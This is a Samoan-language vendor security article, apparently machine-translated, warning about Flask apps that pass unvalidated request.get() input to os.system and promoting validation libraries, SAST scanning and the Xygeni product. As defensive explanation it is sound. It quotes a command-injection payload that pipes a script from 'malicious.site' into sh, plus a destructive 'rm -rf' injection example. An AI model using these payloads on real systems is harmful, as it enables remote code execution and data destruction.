request.get - fa'amamaina o le ulufale - puipuiga o le fagu

Aua lava ne'i fa'atuatuaina se request.get() e aunoa ma le fa'amamaina: E fa'apefea ona fa'aumatia e le Input le saogalemu o le Flask

Ua Fa'atulaga le Mailei: E fa'apefea ona Tatala e le request.get() le Faitoto'a

I le 2023, na faʻaaogaina ai e se kamupani fou fintech se polokalame faʻavae i totonu o le Flask. dashboard lea na mafai ai e le aufaigaluega a le DevOps ona faʻagaoioia galuega tau atinaʻe mamao. O se tasi o auala na faʻaaogaina le request.args.get(“cmd”) e aumai ai se faʻatonuga o le shell mai le query string ma tuʻuina saʻo atu i se system call.

Sa foliga saogalemu lenei mea i le manatu e na'o tagata fa'atuatuaina e mafai ona maua le initaneti i totonu. dashboard. Peita'i, ona o se fa'atulagaga sese o le reverse proxy, na fa'aalia ai le tautua i tagata lautele mo ni nai itula. I le taimi o lena taimi, na iloa ai e le au su'esu'e otometi le endpoint.

Sa vave ona fa'aaogaina e le au osofa'i e ala i le fa'aaogaina o se talosaga fa'apitoa e pei o le ?cmd=curl+http://malicious.site/evil.sh|sh, ma iu ai i le faʻatinoina o tulafono mamao (RCE). Mai iina, na latou mauaina ai faʻamatalaga ma faʻamaoniga a le AWS, e oʻo atu ai i le faʻateʻaina o faʻamaumauga ma le faʻateleina o avanoa.

E le o se osofaʻiga faigata tele lenei; na faʻagaoioia atoa e ala i le ulufale mai e leʻi faʻamaonia mai le request.get(). E leai se faʻamaoniga o le talosaga, ma e leai se faʻamamaina o le ulufale mai. O le mea e sili ona leaga, e leai ni meafaigaluega suʻesuʻega tumau na faʻailoa mai ai le lamatiaga aua na manatu le 'au e saogalemu le app ona o lona tulaga i totonu.

E lē o fa'atatau lenei tusiga i le auala e fa'aaogā ai ia fa'aletonu. O lona fa'amoemoe o le fesoasoani lea i le au atia'e ia iloa lenei mamanu lē saogalemu, malamalama i tulaga lamatia, ma fa'aaoga ni faiga fa'akomepiuta saogalemu e puipuia ai fa'alavelave fa'apena.

Fa'aaogaina i le Galuega: O se Flask App ua Fa'aleagaina e le Input

I lenei vaega, matou te faʻaalia ai se polokalama Flask laʻititi e faʻaalia ai le vave o le sese o mea pe a talosaga.maua() e fa'aaogaina e aunoa ma se fa'amaoniga. O le faigofie o lenei fa'ata'ita'iga e fa'amamafaina ai le lamatiaga, e o'o lava i ni nai laina o tulafono e le saogalemu e mafai ona fa'aalia ai lau polokalama i ni fa'amata'u matuia.

O lenei fa'ai'uga e mana'omia ai se cmd parakalafa mai le talosaga ma tuʻuina saʻo atu i os.system(), e mafai ai e so'o se tasi e mafai ona maua le endpoint ona fa'atino ni poloaiga fa'apitoa. Leai ni siaki ulufale, leai se fa'amamaina o ulufale, leai guardrails. O se faʻataʻitaʻiga faigofie lea o le auala e aua le taulimaina ai mea e faʻaaoga e tagata faʻaoga.

talosaga.maua

A aunoa ma se faʻamaoniga ua faʻatulagaina, e mafai e tagata osofaʻi ona faʻaaogaina lenei mea e ala i le tuʻuina atu o poloaiga mataʻutia o le shell saʻo i totonu o le query string. Mo se faʻataʻitaʻiga, o se talosaga faigofie e pei o curl 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' e mafai ona solo ese faila taua. O le poloaiga e faʻatinoina e pei ona i ai, e aunoa ma se faʻamamāina, ma avatu ai i le tagata osofaʻi fa'atinoina o tulafono mamao (RCE) Gafatia.

O le tulaga matautia moni o le auala e lē o iloa ai le auala e ui atu ai lenei vaivaiga i le taimi o atinaʻe pipelines. Talu ai e leai ni meafaigaluega su'esu'e fa'amau ua fa'atulagaina e iloa ai mamanu e le saogalemu e pei o le le fa'amamaina talosaga.maua(), ma ona o le talitonuga o le endpoint e na'o totonu lava e fa'aaogaina ai, e leai se tasi na fa'ailoa mai le fa'afitauli i le taimi o le iloiloga o le code. O lenei vaega masani e le o iloa e DevOps, o le fa'atuatuaina o siosiomaga i totonu ma le misia o le fa'amaoniga mo le saoasaoa, na mafai ai ona o'o atu se vaivaiga taua i le gaosiga e aunoa ma le iloa.

O Le Mea e Malepelepe Ai Mea Uma: Fa'aletonu Masani o le Atina'eina

E tele vaivaiga matuia i totonu o talosaga Flask e lē mafua mai i ni manatu faigata, ae mai ni mea sese faigofie ma faifai pea. A faamuamua le saoasaoa o le atinaʻeina nai lo le saogalemu, o nisi o mamanu lamatia e masani ai, e masani lava e aunoa ma le iloaina e le au atiaʻe o latou taunuuga i se taimi umi.

O mea sese masani nei:

  • faaaogaina talosaga.maua() e aunoa ma le fa'amaoniga po'o tulaga fa'aletulafono
    E masani ona fa'aaogaina e le au atina'e talosaga.args.get() e vave ona aveese ni parakalafa mai se talosaga. A aunoa ma ni faʻaletonu poʻo se faʻamaoniga, e oʻo atu ai i amioga e le mafai ona vavaloina, e pei o le pasia o leai se isi i totonu o le mafaufau po'o le fa'atagaina o le fa'aaogaina o le tagata fa'aoga mata i galuega mata'utia.
  • Fa'atuatuaina o le fa'aofi mai fafo e aunoa ma ni siaki
    Pe o le fa'aulufalega e sau mai se fomu faitele, se faitoto'a API, po'o se fa'avae i totonu dashboard, e tatau ona taulimaina o se mea e le talitonuina. O le manatu o loʻo saogalemu ona o loʻo i tua atu o se VPN pe faʻaaogaina e 'au i totonu o se faʻamasinoga sese tele.
  • Tu'uina atu o le puipuiga i faletusi a isi vaega e aunoa ma le fa'amaonia o amioga
    E ui e mafai e faletusi ona fa'amatala fa'atino galuega, ae e le tatau ona fa'atuatuaina tauaso i latou e fa'amalosia le saogalemu. Ia malamalama i taimi uma i le auala latou te taulimaina ai mea e ulufale mai, ma afifi le code mai fafo i au vaega fa'amaonia pe a mana'omia.
  • Leai ni fa'amatalaga o ituaiga po'o se fa'amaoniga o le ulufale i totonu o le au fa'afoeina o auala
    E mafai e le Flask ona fa'aogaina le taipola fa'aonaponei ma le taulimaina o talosaga fetuutuunai, ae e mafai ona vave ona o'o atu ai i ni mea sese po'o ni fa'aletonu o le tui. A aunoa ma le fa'amalosia manino o le ituaiga ma le fa'amaoniaina o le schema, o le ulufale fa'afuase'i e mafai ona fa'alavelaveina le mafaufau po'o le fa'aleagaina o auaunaga i lalo ifo.

O nei mea sese e masani ona mafua mai i le mamafa e vave ona gaoioi, e faʻalauiloa se foliga poʻo se faʻaleleia. Ae o auala pupuu taʻitasi e faʻaleagaina ai le saogalemu o lau talosaga. E tatau ona avea le faʻailoga saogalemu ma le standard, e le o se tuusaunoaga.

Aiseā e Lamatia ai le request.get() e ala i le Fa'aletonu

I se tepa, talosaga.maua(), e aofia ai ona ituaiga eseese e pei o talosaga.args.get() ma talosaga.fomu.maua(), e foliga mai e le afaina ma faigofie. Ae i lalo ifo o lena faigofie o loo taoto ai se manatu matautia: o faamatalaga o loo oo mai e faatuatuaina.

E sese lenei manatu. Pe o e fausia se API lautele pe o se meafaigaluega i totonu, e tatau lava ona manatu i taimi uma e le talitonuina le sao o le kalani. Ae i le tele o 'au atina'e, aemaise lava pe a galulue ma microservices po'o totonu dashboards, e iai le uiga e misia ai le faʻamaoniga "auā o se mea i totonu." O lenei mafaufauga e tatala ai le faitotoʻa i vaivaiga matuia.

Aiseā e Lamatia ai Lenei Mea

  • Leai se fa'amalosia o ituaiga: talosaga.maua() E toe faafoi mai faʻamatalaga e pei ona i ai. E le faʻamaonia le ituaiga, faatulagaga, poʻo le iai o fanua manaʻomia.
  • Toilalo filemu: Afai e misi se ki, e toe foʻi mai leai se isi, e masani ona oʻo atu ai i amioga e leʻi mafaufauina pe sese foʻi i le mafaufau i le isi itu.
  • Leai se fa'amamāinaE lē aveese pe fa'amamāina mea e fa'aofi mai ai mea leaga, ma tu'u ai lau app e vaivai i osofa'iga fa'apipi'i.

O le Faasesēina o le Saogalemu i Totonu

I totonu o siosiomaga e tele ai auaunaga laiti po'o meafaigaluega i tua atu o VPN, e masani ona fa'alagolago tagata atia'e i tapula'a o atina'e tetele o lo latou puipuiga autu. O lenei mea e o'o atu ai i se lagona sese o le saogalemu. O fa'atulagaga sese, fa'amaoniga ua fa'asalalauina, po'o se tautua ua fa'aalia e mafai ona vave liua ai le "i totonu" i le "fa'aaogaina lautele." talosaga.maua() e le o le fa'afitauli; o le fa'atuatuaina fa'atauaso lea. A aunoa ma le fa'amaoniga o le ulufale mai, o lo'o e tu'uina atu i tagata osofa'i se laina tuusa'o i le mafaufau o lau talosaga, ma atonu, i lau atina'e.

Fa'amautu le Tafega: Fa'amaonia Sa'o le Ulufale mai o Tagata Fa'aoga

O le maa faavae o le saogalemu o le Flask e faigofie: aua lava ne'i fa'agasoloina le ulufale mai e aunoa ma se fa'amaoniga fa'atulagainaO faʻamatalaga uma e maua e lau talosaga, pe mai faʻamatalaga o fesili, fomu, poʻo API, e tatau ona vaʻaia o ni faʻamatalaga e le faʻatuatuaina ma faʻamaonia ma le faʻamaoni aʻo leʻi faʻaaogaina.

Faletusi Fautuaina mo le Fa'amaoniga o le Ulufale

O le faiga fa'a-ecosystem a Python e ofoina atu ni faletusi matutua ua fa'atulagaina mo le fa'amaoniaina o fa'amaumauga o talosaga:

  • Marshmallow – Sili ona lelei mo le faʻamatalaina o ata faʻataʻitaʻi ma le faʻaitiitia o faʻamaumauga.
  • Pydantic – Ua lauiloa mo faʻataʻitaʻiga saogalemu-type; e faʻaaogaina lautele i le FastAPI, ae e galue lelei foʻi i le Flask.
  • WTForms – E fetaui lelei mo le taulimaina ma le fa'amaoniaina o pepa i polokalama masani i luga o le upega tafa'ilagi.

O nei meafaigaluega e faigofie ai ona faʻamatalaina ma faʻamalosia le fausaga, ituaiga, ma tapulaʻa o mea e fai e tagata faʻaoga.

O le ā e Fa'amaonia

  • ituaiga: Ia mautinoa o numera atoa o numera atoa, o laina o laina, ma o booleans o booleans.
  • Vaeluaga ma umi: Seti ni tuaoi mo numera, ma faʻamalosia le umi maualalo ma le umi maualuga mo manoa.
  • Manaomia fanua: Mana'omia manino le iai o ni fa'atulagaga patino.
  • mamanuFaaaoga fa'aupuga masani e fa'amaonia ai fa'atulagaga e pei o imeli, fa'ailoga, po'o igoa o faila.

Faʻataʻitaʻiga ma Marshmallow:

Teuteu e Toe Fa'aaogaina mo Tulafono Mama

E mafai ona e fatuina ni teuteuga e faʻaoga ai le faʻamaoniga i taimi uma i le tele o auala:

Line pito i lalo

O le fa'amaoniga fa'atulagaina e lē o se mea e filifili i ai; e taua tele. Aua lava ne'i fa'atuatuaina mea mata na ulufale mai, e tusa lava pe i totonu o faiga fa'alotoifale. Ia fa'aaoga pea ni fa'atulagaga, siaki pea ituaiga ma fa'atulagaga, ma ia fa'amamā pea mea o lo'o e fa'agasoloina.

Fa'asa'oga o le DevSecOps: Pipeline Security, Sui i le Agavale

E le tatau ona amata le saogalemu i le gaosiga; e tatau ona amata i le taimi lava e tusia ai le code. O le mataupu faavae autu lea i tua atu o le ""Gaioiga o le Suitulaga i le Agavale": maua muamua faʻafitauli tau saogalemu i le amataga o le olaga atoa o le atinaʻe aʻo leʻi oʻo i le taimi e faʻatino ai.

Fa'amalosia le Puipuiga Mai le Muamua Commit

Ina ia maua lelei le fa'aaogaina lamatia o le request.get() ma mamanu fa'apena, fa'apipi'i sa'o le puipuiga i lau CI/CD pipeline. Lenei faʻapefea:

  • Faaopoopo SAST tulafono (Fa'ata'ita'iga Su'ega Puipuiga) i lau faiga o galuega. E mafai e nei tulafono ona iloa ai ni code matautia e pei o valaau e le'i fa'amamaina o le request.get() ua tu'uina atu i galuega faatino a le system.
  • Fa'aautomatika siaki e fa'aaoga ai meafaigaluega e pei o le Bandit, Semgrep, po'o ni tusitusiga fa'apitoa. Fa'agaoioia ia mea o se vaega o le GitHub Actions, GitLab CI, po'o le Bitbucket Pipelines.
  • Fa'amatala faiga fa'avae fa'apitoa e fa'ailoa ai faiga e le saogalemu e pei o le fa'aogaina o le request.args.get() e aunoa ma le fa'amaoniga.

Fa'atasiga o Poloka e Fa'atupuina ai Lamatiaga

E le tatau ona fa'atagaina le code e le manuia i siaki fa'amaonia e tu'ufa'atasia. Puipuia o le vaivai commitO le tuufaatasia o le s e faamalosia ai le amio pulea i le saogalemu i vaega eseese ma fesoasoani e fausia se aganu'u o le tali atu.

I le fa'apipi'iina o le au'ili'iliga saogalemu otometi i lau pipeline, e te iloa faʻafitauli aʻo faʻalauiloa mai, ae le o le taimi lava e faʻalauiloa ai. O lenei mea e faʻaitiitia ai le lamatiaga, sefe ai le taimi, ma fesoasoani ai i 'au e faʻapipiʻi ma le mautinoa polokalama Flask.

Aua le Fa'atuatuaina le Afifi: Lamatiaga a le Isi Vaega

aʻo e mafai e faletusi a isi vaega ona faʻaleleia atili le gaosiga, e mafai fo'i ona latou fa'alauiloa faalilolilo ni vaivaiga i le saogalemu, aemaise lava pe a o'o i le taulimaina o mea e ulufale i totonu.

Lamatiaga Moni mai Afifi e Le Saogalemu

Sa i ai ni tulaga na faia ai e faletusi fa'atuatuaina ni galuega e le saogalemu i lalo o le tapuni, e pei o le faitauina o mea na ulufale mai ai tagata fa'aoga e fa'aaoga ai le request.get() ma tu'uina sa'o atu i galuega e pei o le eval(), open(), po'o poloaiga a le system. O nei fa'aletonu e masani ona natia i tua o vaega o le abstraction, ma faigata ai ona iloa i le taimi o le iloiloga o code.

Mo se faʻataʻitaʻiga, o se mea faigaluega na faʻamoemoe e faʻafaigofie ai le lafoina o faila na faʻaaogaina ni faʻasologa o fesili e leʻi faʻamamaina e fausia ai auala o faila, o se mamanu na valaʻaulia ai le sopoia o auala ma le avanoa e leʻi faʻatagaina i faila.

Fa'alagolago i Femalagaaiga: O le Lamatiaga Faalilolilo

E tusa lava pe saogalemu ou faalagolago tuusa'o, faalagolago fesuia'i atonu e leai. O afifi ia e faʻalagolago i ai au faletusi, ma e mafai ona latou aumaia ni amioga lamatia e aunoa ma lou iloa O se fa'afouga la'ititi i se fa'alagolago loloto i lau stack e ono fa'alauiloa mai ai se fa'aogaina o le request.get() e le'i fa'amamaina i nofoaga e te le pulea. O lenei lamatiaga e fa'ateleina i microservices ma meafaigaluega i totonu e fa'alagolago tele i faletusi laiti ma niche.

O le a le mea e fai?

  • Fa'alagolago i su'esu'ega e le aunoa, e aofia ai ma fa'alagolago i mea e fesuia'i.
  • Faaaoga meafaigaluega e pei o le pip-audit, Safety, po'o le GitHub Dependabot e su'esu'e ai mo ni vaivaiga ua iloa.
  • Iloilo ma le lima pe faʻapefea ona taulimaina e afifi fafo mea e faʻaaogaina e tagata faʻaoga, aemaise lava pe a latou fegalegaleai ma auala poʻo faʻatulagaga o talosaga.

Aua lava ne'i e manatu o se afifi, e tusa lava po o le a le la'ititi pe lauiloa, e fa'amalosia ai lou saogalemu. standards. Ia fa'amaonia i taimi uma mea na ulufale mai fafo a'o le'i ulufale i lau fa'atulagaga o talosaga.

Tausiga o le Tagata Atiina A'e: DevSecOps A'oa'oga ma Aganu'u

O le fausiaina o polokalame saogalemu e lē gata i meafaigaluega; ae e faatatau foʻi i le aganuʻu. E tatau i 'au ona faʻaaogaina le saogalemu o se vaega o lo latou faasinomaga i le atinaʻeina. O lona uiga o le faia o le faʻailogaina saogalemu, aemaise lava le faʻamaoniga o mea e ulufale mai, o se vaega e lē mafai ona feutanaʻi i galuega uma.

Ia avea le Fa'amaoniga o le Ulufale ma Vaega o Iloiloga o Tulafono Fa'akomepiuta

E tatau i iloiloga uma o tulafono ona fesili:

  • O fa'amaonia ea le fa'amatalaga a le tagata fa'aoga?
  • O iai ni fa'asologa po'o ni siaki o ituaiga?
  • Pe ua tu'uina atu ea mea mata i totonu o le mafaufau po'o poloaiga?

O le faʻamalosiauina o nei siaki i le taimi o iloiloga a tupulaga e faʻaleleia atili ai se manatu e manatu ai o le saogalemu o le galuega lea a tagata uma, ae le naʻo le 'au e puipuia le saogalemu.

Fa'amatala Faiga Fa'avae mo le Fa'ailogaina o Fa'ailoga Saogalemu mo Flask APIs

Fa'atuina ni ta'iala i totonu e fa'amatala auiliili ai:

  • Auala e taulima ai le ulufale mai o talosaga (aua lava ne'i fa'atuatuaina le request.get() e aunoa ma le fa'amaoniga)
  • O afea ma pe faʻapefea ona faʻaaoga faletusi e pei o Marshmallow poʻo Pydantic
  • Mana'oga mo le fa'aogaina o teuteuga ma le fa'amaoniga o le schema i auala

Ia avea nei faiga faʻavae ma vaega o lau faʻatulagaina ma pepa faʻamaumau.

Meafaigaluega e Iloa ai Fa'ata'ita'iga Lē Saogalemu

Faaaoga le otometi e pu'eina ai mamanu lamatia i se taimi vave ma faifai pea:

  • Linters: E mafai ona fa'alauteleina meafaigaluega e pei o le flake8, pylint, po'o le ruff i ni plugins e iloa ai le fa'aaogaina sese o le request.get().
  • Pre-commit hooks: Su'esu'e otometi mo ni mamanu mata'utia a'o le'i o'o ina mae'a le code committed
  • Mea e iloilo ai tulaga mautu: E mafai e meafaigaluega e pei o le Bandit, Xygeni, po'o le Semgrep ona fa'ailoa mai ai le le saogalemu o le taulimaina o fa'amatalaga, le misi o le fa'amaoniga, po'o le le saogalemu o le tafe o fa'amaumauga.

Fausia le Aganuu

E lē gata o le saogalemu fa'atekinolosi, ae o amioga fo'i. Pe a avea le fa'amaoniga ma mea masani, pe a fa'amuamua e iloiloga le saogalemu, ma pe a fa'amalosia e meafaigaluega standardE otometi lava, ona fa'amalosia lau 'au e ala i le fuafuaga.

Xygeni: Auala e Puipuia ai nei Fa'afitauli

Xygeni E fesoasoani e tapuni le faitotoʻa mai le taimi lava e tusia ai le code. O se faʻavae otometi mo le saogalemu e iloa ai mamanu mataʻutia, e pei o le faʻaaogaina o le request.get() e leʻi faʻamamaina, e pei lava o le muamua commit.

Iloa vave e ala i le Fuafuaga

E su'esu'eina e Xygeni i taimi uma commit ma pull request e fa'ailoa ai le fa'aogaina le saogalemu o le request.get() ma isi fa'ailoga fa'apena. E fa'ailoa ai tulaga e le fa'amaonia ai le ulufale mai a'o le'i tu'uina atu i galuega taua e pei o le os.system, eval, po'o le fa'agaioiga o faila.

O lenei auala e faʻamautinoa ai e le oʻo atu lava tulafono lamatia i le gaosiga.

Poloka otometi lava tu'ufa'atasiga lē saogalemu

E le gata i le iloa, e mafai ai e Xygeni ona faʻamalosia ni faiga faʻavae e taofia ai le tuʻufaʻatasia o tulafono e le saogalemu. O nei faiga faʻavae e mafai ona fetuʻunaʻi, e mafai ai e faʻalapotopotoga ona faʻamatalaina mea e taliaina ma mea e le taliaina e faʻavae i luga o la latou puipuiga i totonu o le Flask. standards.

mamanu: "talosaga\.args\.get\(['\”]\w+['\”]\)"

tulaga: "fa'aaogaina i le os\.system po'o le open() po'o le exec()"

gaioiga: "poloka"

Leai CI/CD sosoʻoga

E faigofie ona fesoʻotaʻi Xygeni ma faʻavae e pei o:

Pe o e fa'aogaina le CI fa'avae i luga o le ao pe o lo'o e talimaloina oe lava ia pipelines, e fetaui lelei Xygeni ma lau faiga o galuega e aunoa ma se faʻalavelave, e faʻamalosia ai faiga faʻavae saogalemu a Flask i taimi uma i totonu o repo uma.

I le fa'apipi'iina sa'o o siaki saogalemu i lau atina'e pipeline, E faʻamautinoa e Xygeni o loʻo vave ona maua ni mamanu e le saogalemu, toe iloiloina vave, ma faʻasaʻo aʻo leʻi afaina.

Fa'ai'uga Mulimuli: Fa'amamā le Ulufale pe Fa'aleagaina

E tāua le fa'amamafa: e lē na'o se fa'afitauli tau saogalemu o le Flask lenei. O le mataupu autū o le fa'atuatuaina lea o le sao o tagata fa'aoga, e tusa lava po'o le a le fa'avae po'o le siosiomaga.

O le ulufale mai e le'i fa'amaoniaina o se fa'amata'u lautele; e o'o atu ai i le fa'atinoina mamao o tulafono fa'akomepiuta, solia o fa'amaumauga, fa'ateleina o avanoa, ma iu ai ina leiloa le pulea o au polokalama. O le mafua'aga lea e tatau ai ona va'aia le fa'amaoniga o se popolega sili ona lelei i faiga uma o atina'e. Fa'amaonia mea uma. 'Aua le manatu i se mea. Ia fa'amamā i taimi uma.

E lē o se filifiliga le fa'amaoniga. E lē o se mea "manaia le i ai." O se vaega e lē mafai ona finauina o le atina'eina o polokalama faakomepiuta saogalemu. O le lē fa'amaonia o mea ua e ulufale mai e pei o le tu'ua o lou faitoto'a i luma e matala i se pitonu'u matautia; o le a iu lava ina savali atu i totonu se tasi.

Pe o e fausia ni API mo le fa'aaogaina lautele pe o auaunaga i totonu i tua atu o VPN, e tatau ona fa'amaonia ma fa'amamāina mea e ulufale mai ai. O parakalafa uma, o fanua uma o fomu, o laina fesili uma, i taimi uma.

O faiga sili ona lelei o loʻo faʻamatalaina i lenei tusiga, faʻamaoniga faʻavae i luga o le schema, auiliiliga o tulafono tumau, saogalemu pipelines, ma le tumama fa'aleaganuu, e taua tele mo le puipuia mai le fa'aaogaina sese o le request.get() ma mamanu le saogalemu fa'apena.

meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite